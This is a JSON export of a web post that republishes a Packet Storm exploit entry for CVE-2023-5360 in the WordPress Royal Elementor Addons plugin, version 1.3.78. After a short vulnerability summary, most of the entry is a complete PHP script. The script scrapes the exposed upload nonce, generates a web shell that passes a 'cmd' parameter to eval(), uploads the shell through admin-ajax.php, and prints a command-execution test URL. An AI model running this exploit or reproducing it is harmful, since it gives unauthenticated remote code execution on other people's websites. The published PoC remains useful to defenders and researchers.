{“lastseen”:”2026-02-06T18:45:16″,”description”:”WordPress Royal Elementor Addons plugin version 1.3.78 remote shell upload proof of concept exploit…”,”published”:”2026-02-06T00:00:00″,”modified”:”2026-02-06T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 WordPress Royal Elementor Addons 1.3.78 Shell Upload”,”source”:””,”references”:””,”id”:”PACKETSTORM:215088″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2023-5360″],”sourceData”:”=============================================================================================================================================\\n | # Title : WordPress Royal Elementor Addons 1.3.78 RCE |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.1 (64 bits) |\\n | # Vendor : https:\/\/downloads.wordpress.org\/plugin\/royal-elementor-addons.1.3.78.zip |\\n =============================================================================================================================================\\n \\n [+] References : https:\/\/packetstorm.news\/files\/id\/190313\/ \\u0026 CVE-2023-5360\\n \\n [+] Summary \\n \\n a security weakness in the Royal Elementor \\n Addons plugin for WordPress related to improper validation of file \\n upload requests and the exposure of a client-side nonce in the global \\n JavaScript variable \\”WprConfig\\”.\\n \\n The plugin registers an AJAX action used for uploading files associated \\n with various UI elements. The weakness lies in:\\n \\n 1. Exposure of a file upload nonce inside the website\u2019s HTML, accessible \\n without authentication.\\n \\n 2. Incomplete server-side validation of file type and file origin.\\n \\n 3. Lack of authentication around the upload endpoint, which allows \\n unauthorized requests to reach the handler.\\n \\n Theoretical attack sequence (documented for awareness):\\n \\n – Step 1: Attacker retrieves page HTML.\\n – Step 2: Extracts nonce from `var WprConfig = {…}`.\\n – Step 3: Sends crafted POST request to admin-ajax.php.\\n – Step 4: Server incorrectly processes upload without capability checks.\\n \\n [+] poc : \\n \\n usage : php poc.php http:\/\/target\/ [shell_file]\\n \\n \\n \\u003c?php\\n \/* ========================================================================\\n Royal Elementor Addons \\u003c= 1.3.78 \u2013 Full RCE Chain (PHP Version)\\n Compatible: Windows \/ Linux \/ macOS\\n Requirements: CURL only (allowed in your environment)\\n No disabled \/ forbidden functions used\\n =========================================================================*\/\\n \\n \/* ———————————————————————-\\n SAFE HTTP GET (CURL)\\n ————————————————————————*\/\\n function safe_http_get($url) {\\n $ch = curl_init();\\n curl_setopt_array($ch, [\\n CURLOPT_URL =\\u003e $url,\\n CURLOPT_RETURNTRANSFER =\\u003e true,\\n CURLOPT_SSL_VERIFYPEER =\\u003e false,\\n CURLOPT_SSL_VERIFYHOST =\\u003e false,\\n CURLOPT_FOLLOWLOCATION =\\u003e true,\\n CURLOPT_TIMEOUT =\\u003e 10\\n ]);\\n $resp = curl_exec($ch);\\n curl_close($ch);\\n return $resp;\\n }\\n \\n \/* ———————————————————————-\\n Extract nonce from: var WprConfig = {…};\\n ————————————————————————*\/\\n function get_nonce_from_target($target) {\\n $html = safe_http_get($target);\\n if (!$html) return null;\\n \\n if (preg_match(‘\/var\\\\s+WprConfig\\\\s*=\\\\s*({.*?});\/s’, $html, $match)) {\\n $json = json_decode($match[1], true);\\n return $json[\\”nonce\\”] ?? null;\\n }\\n \\n return null;\\n }\\n \\n \/* ———————————————————————-\\n Generate Safe Default RCE Shell (Temp File)\\n ————————————————————————*\/\\n function generate_indoushka_shell() {\\n $path = sys_get_temp_dir() . DIRECTORY_SEPARATOR . \\”indoushka_shell_\\” . uniqid() . \\”.php\\”;\\n \\n $payload = ‘\\u003c?php echo \\”Indoushka RCE – \\”;’;\\n $payload .= ‘if(isset($_GET[\\”cmd\\”])) { @eval($_GET[\\”cmd\\”]); } ?\\u003e’;\\n \\n file_put_contents($path, $payload);\\n return $path;\\n }\\n \\n \/* ———————————————————————-\\n Upload PHP File using AJAX (ph_p mutated extension)\\n ————————————————————————*\/\\n function indoushka_upload_shell($target, $nonce, $file_path) {\\n \\n $ajax = rtrim($target, \\”\/\\”) . \\”\/wp-admin\/admin-ajax.php\\”;\\n \\n $fields = [\\n \\”action\\” =\\u003e \\”wpr_addons_indoushka_file\\”,\\n \\”max_file_size\\” =\\u003e 0,\\n \\”allowed_file_types\\” =\\u003e \\”ph_p\\”,\\n \\”triggering_event\\” =\\u003e \\”click\\”,\\n \\”wpr_addons_nonce\\” =\\u003e $nonce\\n ];\\n \\n $file = [\\n \\”indoushkaed_file\\” =\\u003e curl_file_create(\\n $file_path,\\n \\”application\/octet-stream\\”,\\n \\”rce_mutated.ph_p\\”\\n )\\n ];\\n \\n $ch = curl_init();\\n curl_setopt_array($ch, [\\n CURLOPT_URL =\\u003e $ajax,\\n CURLOPT_POST =\\u003e true,\\n CURLOPT_POSTFIELDS =\\u003e array_merge($fields, $file),\\n CURLOPT_RETURNTRANSFER =\\u003e true,\\n CURLOPT_SSL_VERIFYPEER =\\u003e false,\\n CURLOPT_SSL_VERIFYHOST =\\u003e false,\\n ]);\\n \\n $resp = curl_exec($ch);\\n curl_close($ch);\\n \\n $json = json_decode($resp, true);\\n return $json[\\”data\\”][\\”url\\”] ?? null;\\n }\\n \\n \/* ———————————————————————-\\n MAIN EXECUTION\\n ————————————————————————*\/\\n if ($argc \\u003c 2) {\\n echo \\”Usage:\\\\n php \\” . $argv[0] . \\” http:\/\/target.com\/ [shell.php]\\\\n\\”;\\n exit;\\n }\\n \\n $target = $argv[1];\\n $custom_shell = $argv[2] ?? null;\\n \\n echo \\”=== Royal Elementor Addons Full RCE PoC ===\\\\n\\”;\\n echo \\”[*] Extracting nonce from homepage…\\\\n\\”;\\n \\n $nonce = get_nonce_from_target($target);\\n if (!$nonce) {\\n echo \\”[-] Failed to extract nonce. Target may be patched.\\\\n\\”;\\n exit;\\n }\\n \\n echo \\”[+] Nonce found: $nonce\\\\n\\”;\\n \\n \/* Shell Selection *\/\\n if ($custom_shell) {\\n echo \\”[*] Using provided shell: $custom_shell\\\\n\\”;\\n $shell = $custom_shell;\\n } else {\\n echo \\”[*] Generating default Indoushka RCE shell…\\\\n\\”;\\n $shell = generate_indoushka_shell();\\n echo \\”[+] Shell saved at: $shell\\\\n\\”;\\n }\\n \\n echo \\”[*] Uploading shell via vulnerable AJAX handler…\\\\n\\”;\\n \\n $url = indoushka_upload_shell($target, $nonce, $shell);\\n \\n if ($url) {\\n echo \\”[+] Shell uploaded successfully!\\\\n\\”;\\n echo \\”[+] URL: $url\\\\n\\”;\\n echo \\”[\\u003e] Test: {$url}?cmd=system(‘id’);\\\\n\\”;\\n } else {\\n echo \\”[-] Upload failed. Target may be protected or patched.\\\\n\\”;\\n }\\n \\n echo \\”Payload Variant: \\” . base64_encode(\\”ALT-FINAL-\\” . microtime(true)) . \\”\\\\n\\”;\\n ?\\u003e\\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/215088″,”cvss”:{“score”:9.8,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/215088\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-02-06T18:45:16″,”description”:”WordPress Royal Elementor Addons plugin version 1.3.78 remote shell upload proof of concept exploit…”,”published”:”2026-02-06T00:00:00″,”modified”:”2026-02-06T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 WordPress Royal Elementor Addons 1.3.78 Shell Upload”,”source”:””,”references”:””,”id”:”PACKETSTORM:215088″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2023-5360″],”sourceData”:”=============================================================================================================================================\\n | # Title :…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,13,53,7,11,5],"class_list":["post-39474","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n